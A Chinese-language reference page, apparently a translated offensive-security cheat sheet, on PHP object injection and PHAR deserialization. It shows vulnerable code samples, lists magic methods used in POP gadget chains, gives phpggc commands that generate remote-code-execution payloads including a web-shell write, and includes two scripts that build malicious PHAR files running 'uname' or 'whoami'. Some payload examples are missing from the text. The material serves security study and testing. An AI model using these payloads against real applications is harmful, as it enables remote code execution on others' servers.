PHP 反序列化 (PHP Deserialization)
PHP 对象注入 (PHP Object Injection) 是一种应用程序级别的漏洞。根据具体语境,它可能允许攻击者执行各种恶意攻击,例如代码注入、SQL 注入、路径遍历和应用程序拒绝服务。当用户提供的输入在传递给 PHP 的
unserialize()函数之前未经过适当过滤时,就会产生此漏洞。由于 PHP 允许对象序列化,攻击者可以向有漏洞的unserialize()调用传递精心构造的序列化字符串,从而将任意 PHP 对象注入到应用程序作用域中。
摘要 (Summary)
- 基本概念 (#general-concept)
- 身份验证绕过 (#authentication-bypass)
- 对象注入 (#object-injection)
- 查找和利用 Gadget (#finding-and-using-gadgets)
- Phar 反序列化 (#phar-deserialization)
- 真实案例 (#real-world-examples)
- 参考资料 (#references)
基本概念 (General Concept)
以下魔术方法 (Magic Methods) 将有助于您进行 PHP 对象注入:
__wakeup():当一个对象被反序列化时调用。__destruct():当一个对象被删除时调用。__toString():当一个对象被当作字符串转换时调用。
此外,您还应该查看 文件包含 (File Inclusion) 中关于 Wrapper Phar:// 的内容,它也使用了 PHP 对象注入。
漏洞代码示例:
<?php
class PHPObjectInjection{
public $inject;
function __construct(){
}
function __wakeup(){
if(isset($this->inject)){
eval($this->inject);
}
}
}
if(isset($_REQUEST['r'])){
$var1=unserialize($_REQUEST['r']);
if(is_array($var1)){
echo "<br/>".$var1[0]." - ".$var1[1];
}
}
else{
echo ""; # 此处无操作
}
?>
利用应用程序内部的现有代码构造载荷:
-
基础序列化数据
-
命令执行
身份验证绕过 (Authentication Bypass)
类型比较绕过 (Type Juggling)
漏洞代码示例:
<?php
$data = unserialize($_COOKIE['auth']);
if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
$admin = true;
} else {
$admin = false;
}
载荷:
原因在于 true == "任何字符串" 的结果为真 (true)。
对象注入 (Object Injection)
漏洞代码示例:
<?php
class ObjectExample
{
var $guess;
var $secretCode;
}
$obj = unserialize($_GET['input']);
if($obj) {
$obj->secretCode = rand(500000,999999);
if($obj->guess === $obj->secretCode) {
echo "Win";
}
}
?>
载荷:
我们可以像这样构造数组:
查找和利用 Gadget (Finding and Using Gadgets)
也被称为 "PHP POP 链",可以用于获取系统的远程代码执行 (RCE) 权限。
- 在 PHP 源代码中,查找
unserialize()函数。 - 寻找有趣的 魔术方法,例如
__construct()、__destruct()、__call()、__callStatic()、__get()、__set()、__isset()、__unset()、__sleep()、__wakeup()、__serialize()、__unserialize()、__toString()、__invoke()、__set_state()、__clone()和__debugInfo():__construct():PHP 允许开发者为类声明构造方法。具有构造方法的类在每次创建新对象时都会调用此方法,因此它适用于对象在使用前可能需要的任何初始化。__destruct():析构方法在没有任何其他引用指向特定对象时被调用,或者在关闭过程中的任何顺序中调用。__call(string $name, array $arguments):当调用不可访问的方法时触发。$name是方法名,$arguments是参数数组。__callStatic(string $name, array $arguments):在静态上下文中调用不可访问的方法时触发。__get(string $name):用于从不可访问(受保护或私有)或不存在的属性中读取数据。__set(string $name, mixed $value):在向不可访问(受保护或私有)或不存在的属性写入数据时运行。__isset(string $name):在对不可访问(受保护或私有)或不存在的属性调用isset()或empty()时触发。__unset(string $name):在对不可访问(受保护或私有)或不存在的属性使用unset()时调用。__sleep():serialize()检查类中是否存在__sleep()。如果存在,该函数在序列化之前被执行。它可以清理对象,并应返回一个包含对象中所有待序列化变量名称的数组。__wakeup():unserialize()检查__wakeup()是否存在。如果存在,此函数可以重新构建对象可能具有的任何资源。通常用于重新建立数据库连接等初始化任务。__serialize():serialize()检查类中是否存在__serialize()。如果存在,该函数在序列化之前执行。它必须构造并返回一个包含对象序列化形式的键/值对关联数组。__unserialize(array $data):此函数将接收由__serialize()返回的恢复数组。__toString():允许一个类决定当它被当作字符串处理时该如何反应。__invoke():当脚本尝试将对象作为函数调用时被调用。__set_state(array $properties):这个静态方法是为利用var_export()导出的类而调用的。__clone():克隆完成后,如果定义了__clone(),新创建对象的__clone()方法将被调用,以允许修改任何必要的属性。__debugInfo():此方法由var_dump()在转储对象以获取应显示的属性时调用。
ambionics/phpggc 是一个用于生成基于多个框架的载荷的工具:
- Laravel
- Symfony
- SwiftMailer
- Monolog
- SlimPHP
- Doctrine
- Guzzle
phpggc monolog/rce1 'phpinfo();' -s
phpggc monolog/rce1 assert 'phpinfo()'
phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
phpggc Monolog/RCE2 system 'id' -p phar -o /tmp/testinfo.ini
Phar 反序列化 (Phar Deserialization)
使用 phar:// 协议流 (wrapper),可以在指定文件上触发反序列化,例如在 file_get_contents("phar://./archives/app.phar") 中。
一个有效的 PHAR 包含四个元素:
- Stub (存根):Stub 是在执行上下文中访问该文件时执行的一段 PHP 代码。Stub 必须至少包含
__HALT_COMPILER();。除此之外,对内容的限制很少。 - Manifest (清单):包含有关归档文件及其内容的元数据。
- File Contents (文件内容):包含归档中的实际文件。
-
Signature (签名)(可选):用于验证归档的完整性。
-
为了利用自定义
PDFGenerator而创建 Phar 的示例。<?php class PDFGenerator { } // 创建 Dummy 类的新实例并修改其属性 $dummy = new PDFGenerator(); $dummy->callback = "passthru"; $dummy->fileName = "uname -a > pwned"; // 我们的载荷 // 删除任何现有的同名 PHAR 归档 @unlink("poc.phar"); // 创建新的归档 $poc = new Phar("poc.phar"); // 将所有写入操作添加到缓冲区,而不修改磁盘上的归档 $poc->startBuffering(); // 设置 stub $poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();"); /* 在归档中添加一个以 "text" 为内容的新文件 */ $poc["file"] = "text"; // 将 dummy 对象添加到元数据中。这将被序列化 $poc->setMetadata($dummy); // 停止缓冲并写入磁盘 $poc->stopBuffering(); ?> -
带有
JPEG魔术字节头部的 Phar 创建示例,因为 Stub 内容没有限制。<?php class AnyClass { public $data = null; public function __construct($data) { $this->data = $data; } function __destruct() { system($this->data); } } // 创建新的 Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>"); // 将任何类的对象添加为元数据 $object = new AnyClass('whoami'); $phar->setMetadata($object); $phar->stopBuffering();
真实案例 (Real World Examples)
- Vanilla Forums ImportController index file_exists 反序列化远程代码执行漏洞 - Steven Seeley
- Vanilla Forums Xenforo password splitHash 反序列化远程代码执行漏洞 - Steven Seeley
- Vanilla Forums domGetImages getimagesize 反序列化远程代码执行漏洞(严重) - Steven Seeley
- Vanilla Forums Gdn_Format unserialize() 反序列化远程代码执行漏洞 - Steven Seeley
参考资料 (References)
- CTF 题解:卡巴斯基 CTF 中的 PHP 对象注入 - Jaimin Gohel - 2018年11月24日
- ECSC 2019 法国预选赛队 - Jack The Ripper Web - noraj - 2019年5月22日
- 在常见 Symfony Bundle 中寻找 POP 链:第一部分 - Rémi Matasse - 2023年9月12日
- 在常见 Symfony Bundle 中寻找 POP 链:第二部分 - Rémi Matasse - 2023年10月11日
- 寻找 PHP 序列化 Gadget 链 - DG'hAck Unserial killer - xanhacks - 2022年8月11日
- 如何利用 PHAR 反序列化漏洞 - Alexandru Postolache - 2020年5月29日
- phar:// 反序列化 - HackTricks - 2024年7月19日
- PHP 反序列化攻击与 Laravel 中的新 Gadget 链 - Mathieu Farrell - 2024年2月13日
- PHP 通用 Gadget - Charles Fol - 2017年7月4日
- PHP 内幕书:序列化 - jpauli - 2013年6月15日
- PHP 对象注入 - Egidio Romano - 2020年4月24日
- PHP Pop 链:利用 POP 链实现 RCE - Vickie Li - 2020年9月3日
- PHP unserialize - php.net - 2001年3月29日
- POC2009 PHP 利用中的重磅炸弹 - Stefan Esser - 2015年5月23日
- Rusty Joomla RCE 反序列化溢出 - Alessandro Groppo - 2019年10月3日
- TSULOTT Web 挑战题解 - MeePwn CTF - Rawsec - 2017年7月15日
- 在 PHP 中利用代码复用/ROP - Stefan Esser - 2020年6月15日